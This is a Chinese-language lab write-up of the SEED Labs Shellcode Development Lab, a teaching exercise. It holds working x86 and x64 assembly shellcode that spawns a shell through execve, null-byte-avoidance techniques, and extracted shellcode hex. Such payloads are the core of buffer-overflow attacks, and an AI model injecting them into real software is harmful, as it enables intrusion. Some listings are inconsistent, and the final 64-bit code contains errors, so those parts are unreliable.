Shellcode Development Lab 前言 SEED Labs是雪城大学杜文亮教授开设的安全相关的实验,通过一些样例学习安全知识,因为对于漏洞利用不太熟悉,所以决定通过这些实验来进行入门练习。
SEED Labs 主页:https://seedsecuritylabs.org/index.html
SEED Labs 2.0 Software Security Labs:https://seedsecuritylabs.org/Labs_20.04/Software/
环境搭建 官方的网页:https://seedsecuritylabs.org/labsetup.html 提供了两种方法,虚拟机 和云服务器
虚拟机提供的是VirtualBox预安装好的镜像,同时有manual指导安装
云服务器安装支持AWS,Google Cloud,Azure,DigitalOcean和阿里云,也有manual指导安装:https://github.com/seed-labs/seed-labs/blob/master/manuals/cloud/seedvm-cloud.md
细节在这里不赘述,我使用的是虚拟机环境。
Shellcode Development Lab 本节实验的主要任务是帮助我们理解shellcode的原理,以及在实战中编写shellcode需要注意的点。
Task 1: Writing Shellcode shellcode通常用汇编编写,形式主要取决于架构,通常是Intel架构,分为32位(x86)和64位(x64),现在的计算机多数是64位架构,但也可以运行32位程序。
Task 1.a: The Entire Process 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 section .text global _start _start: ; Store the argument string on stack xor eax, eax push eax ; Use 0 to terminate the string push "//sh" push "/bin" mov ebx, esp ; Get the string address ; Construct the argument array argv[] push eax ; argv[1] = 0 push ebx ; argv[0] points "/bin//sh" mov ecx, esp ; Get the address of argv[] ; For environment variable xor edx, edx ; No env variables ; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
这是实验提供的shellcode样例程序,执行后可以调用shell
用nasm
将该汇编代码编译为.o
目标文件
1 $ nasm -f elf32 mysh.s -o mysh.o
需要用ld
链接目标文件才能产生可执行文件
1 $ ld -m elf_i386 mysh.o -o mysh
可以用echo $$
打印当前shell的ID以验证mysh
程序调用了一个新的shell
在攻击的时候,我们只需要注入攻击代码的机器码,而不是一个完整的可执行文件,攻击代码的机器码就叫做shellcode,这里我们可以直接从mysh.o
中获取,调用objdump
反汇编
1 $ objdump -Mintel --disassemble mysh.o
可以看到shellcode以及对应的汇编指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mysh.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 31 c0 xor eax,eax 2: 50 push eax 3: 68 2f 2f 73 68 push 0x68732f2f 8: 68 2f 62 69 6e push 0x6e69622f d: 89 e3 mov ebx,esp f: 50 push eax 10: 53 push ebx 11: 89 e1 mov ecx,esp 13: 31 d2 xor edx,edx 15: 31 c0 xor eax,eax 17: b0 0b mov al,0xb 19: cd 80 int 0x80
这样不方便复制,可以用xxd
用十六进制格式打印文件的内容
-p
选项是以plain hexdump格式打印,-c 20
是以每行20个输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 7f454c4601010100000000000000000001000300 0100000000000000000000004000000000000000 3400000000002800050002000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000001000000010000000600000000000000 100100001b000000000000000000000010000000 0000000007000000030000000000000000000000 3001000021000000000000000000000001000000 0000000011000000020000000000000000000000 6001000040000000040000000300000004000000 1000000019000000030000000000000000000000 a00100000f000000000000000000000001000000 00000000000000000000000031c050682f2f7368 682f62696e89e3505389e131d231c0b00bcd8000 00000000002e74657874002e7368737472746162 002e73796d746162002e73747274616200000000 0000000000000000000000000000000000000000 0000000000000000010000000000000000000000 0400f1ff00000000000000000000000003000100 08000000000000000000000010000100006d7973 682e73005f73746172740000
根据objdump
的结果显示,shellcode以31 c0
开头,cd 80
结尾,直接复制这一段即可
1 2 31c050682f2f7368 682f62696e89e3505389e131d231c0b00bcd80
实验还提供一个python脚本convert.py
,帮助我们将shellcode转换为python中合适的格式。
Task 1.b. Eliminating Zeros from the Code shellcode通常用在buffer overflow漏洞攻击中,通常因为一些字符串或者内存copy导致溢出,但是在一些字符串copy函数中,0表示字符串的结束,所以如果shellcode中存在0,则会被截断,0后面的shellcode不会被copy,导致shellcode不完整。
所以shellcode中需要避免0的出现,但是一些情况下必须要用到0的时候,则想一些替代的指令来绕过0的出现。例如
对寄存器赋值0,mov eax, 0
,则可以用xor eax, eax
替代
一些常数中包含0,例如对寄存器赋值,mov eax, 0x99
,看上去没有0,但eax
是32位寄存器,0x99
会高位补0,变为0x00000099
。这种情况,可以先将eax
置为0,再对al
赋值0x99
,al
是8位的寄存器,不会有高位补0的情况。
或者利用移位,例如参数为"xyz"
,转换为整数为0x007A7978
,高位有0,但是可以在赋值的时候赋值为"xyz#"
,然后利用移位置0
1 2 3 mov ebx, "xyz#" shl ebx, 8 shr ebx, 8
先左移8位,去掉#
,然后再右移8位,补上0
任务 :shellcode中,push的字符串是"/bin//sh"
,本应该是"/bin/sh"
,但是因为在32位程序中,需要4byte对齐,所以将/sh
改为//sh
。任务要求使用/bin/bash
,不允许添加多余的/
进行调用,且shellcode中不允许出现0。
按照倒序对/bin/bash
和4 bytes对齐进行入栈,则顺序为h
,/bas
,/bin
,最后的h
显然不够4 bytes,高位会补0,但我们不希望出现0,所以直接对al
赋值即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 section .text global _start _start: ; Store the argument string on stack xor eax, eax push eax ; Use 0 to terminate the string xor eax, eax mov al, "h" push eax xor eax, eax push "/bas" push "/bin" mov ebx, esp ; Get the string address ; Construct the argument array argv[] push eax ; argv[1] = 0 push ebx ; argv[0] points "/bin//sh" mov ecx, esp ; Get the address of argv[] ; For environment variable xor edx, edx ; No env variables ; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
Task 1.c. Providing Arguments for System Calls 从C语言看,execve
函数的原型为int execve(const char *filename, char *const argv[], char *const envp[]);
第一个参数filename
是字符串代表的文件路径。第二个参数argv[]
是数组指针,数组中每个元素是一个指针,指向一个参数,且最后一个元素为NULL,表示数组结束。最后一个参数envp[]
是传递给执行文件的新环境变量数组。
任务:调用execve
执行以下命令
所以需要构造参数数组为
1 2 3 4 argv[3] = 0 argv[2] = "ls -a" argv[1] = "-c" argv[0] = "/bin/sh"
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 section .text global _start _start: ; Store the argument string on stack xor eax, eax mov ax, "la" push eax push "ls -" mov edx, esp xor eax, eax mov ax, "-c" push eax mov ecx, esp xor eax, eax push eax push "//sh" push "/bin" mov ebx, esp ; Get the string address ; Construct the argument array argv[] push eax ; argv[3] = 0 push edx ; argv[2] points "ls -la" push ecx ; argv[1] points "-c" push ebx ; argv[0] points "/bin//sh" mov ecx, esp ; Get the address of argv[] ; For environment variable xor edx, edx ; No env variables ; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
这里的”-c”和”la”都是16位,所以直接对16位寄存器ax
赋值即可。
Task 1.d. Providing Environment Variables for execve()
上面提到execve()
的第三个参数是环境变量,本节的任务是传递一些环境变量给execve()
任务:执行/usr/bin/env
,并打印以下环境变量
1 2 3 4 $ ./myenv aaa=1234 bbb=5678 cccc=1234
首先需要构建env[]
数组,每个元素为指向环境变量的指针,每个环境变量的形式是name=value
形式的字符串,字符串的结尾是0,env[]
数组的最后一个元素为0。
1 2 3 4 env[3] = 0 env[2] = address to the "cccc=1234" string env[1] = address to the "bbb=5678" string env[0] = address to the "aaa=1234" string
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 section .text global _start _start: ; Store the argument string on stack xor eax, eax push eax ; Use 0 to terminate the string xor eax, eax mov al, "4" push eax push "=123" push "cccc" mov ebx, esp xor eax, eax push eax push "5678" push "bbb=" mov edx, esp push eax push "1234" push "aaa=" mov ecx, esp ; For environment variable push eax push ebx push edx push ecx mov edx, esp push eax push "/env" push "/bin" push "/usr" mov ebx, esp ; Get the string address ; Construct the argument array argv[] push eax ; argv[1] = 0 push ebx ; argv[0] points "/usr/bin/env" mov ecx, esp ; Get the address of argv[] ; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
Task 2: Using Code Segment Task 1中的数据都是在栈上动态构造数据结构,所以数据地址都依赖于esp。
还有一种解决数据地址问题的方法,即将数据存储在代码区域,地址通过函数调用机制获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 section .text global _start _start: BITS 32 ;代码是32位对齐的 jmp short two ;跳转到two label的地方执行 one: pop ebx ;将栈顶数据出栈存入ebx,此时ebx中的数据是db处的地址 xor eax, eax ;置eax为0 mov [ebx+7], al ;将ebx+7地址处的1 byte数据置为0,即*->0 mov [ebx+8], ebx ;将ebx+8地址处4 bytes数据改为ebx,即AAAA->data address mov [ebx+12], eax ;将ebx+12地址处4 byte数据置为0,即BBBB->0000 lea ecx, [ebx+8] ;将ebx+8处的地址存入ecx,即data address(AAAA)的首地址 xor edx, edx ;置edx为0 ; invoke execve() mov al, 0x0b int 0x80 two: call one ;调用one label的函数,将下一条指令入栈再跳转one执行 db '/bin/sh*AAAABBBB' ;db为定义单位为byte的数据
注释中解释了代码中每一条指令的含义
在链接时,因为数据定义在代码段,需要加上-omagic
选项,这样代码段才能进行写操作。
1 2 $ nasm -f elf32 mysh2.s -o mysh2.o $ ld --omagic -m elf_i386 mysh2.o -o mysh2
任务:用上述样例代码中的方式,执行/usr/bin/env
,打印如下环境变量
首先,我们需要构造三个参数
1 2 3 filename = "/usr/bin/env" argv[] = {"/usr/bin/env", NULL} env[] = {address to "a=11", address to "b=22", NULL}
按照mysh2.s
的方式,定义数据应该为db '/usr/bin/env*NNNNDDDDa=11*b=22*AAAABBBBNNNN'
*
代表后续应该用1 byte的0替代的位置,表示字符串的结尾。NNNN
表示4 bytes的0需要替代的位置,表示数组中的NULL,AAAA
和BBBB
分别表示a=11
和b=22
的地址。
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 section .text global _start _start: BITS 32 jmp short two one: pop ebx ;command address xor eax, eax mov [ebx+12], al ;string 0 terminal mov [ebx+13], ebx mov [ebx+17], eax ;argv[1] = 0 lea ecx, [ebx+13] ;argv[] mov [ebx+25], al mov [ebx+30], al lea edx, [ebx+21] ;points 'a=11' mov [ebx+31], edx lea edx, [ebx+26] ;points 'b=22' mov [ebx+35], edx mov [ebx+39], eax lea edx, [ebx+31] ;xor edx, edx ;lea edx, [ebx+13] mov al, 0x0b int 0x80 two: call one ; 0 4 8 23 7 1 56 01 5 9 db '/usr/bin/env*NNNNDDDDa=11*b=22*AAAABBBBNNNN'
Task 3: Writing 64-bit Shellcode 64位和32位的shellcode不同点主要有两个:1)64位的地址是8 byte,且寄存器也变成了64bit的寄存器。2)系统调用是通过syscall
进行的,前三个参数按顺序放在rdi
,rsi
,rdx
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 section .text global _start _start: ; The following code calls execve("/bin/sh", ...) xor rdx, rdx ; 3rd argument push rdx mov rax,'/bin//sh' push rax mov rdi, rsp ; 1st argument push rdx push rdi mov rsi, rsp ; 2nd argument xor rax, rax mov al, 0x3b ; execve() syscall
编译的命令也要改为64位的参数
1 2 $ nasm -f elf64 mysh_64.s -o mysh_64.o $ ld mysh_64.o -o mysh_64
任务:类似Task 1.b,在64位的shellcode上调用/bin/bash
,且不允许冗余/
和0出现在shellcode中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 section .text global _start _start: ; The following code calls execve("/bin/sh", ...) xor rdx, rdx ; 3rd argument mov al, 'h' push rax, mov rax, '/bin/bas' push rax mov rdi, rsp ; 1st argument push rdx push rdi mov rsi, rsp ; 2nd argument xor rax, rax mov al, 0x3b ; execve() syscall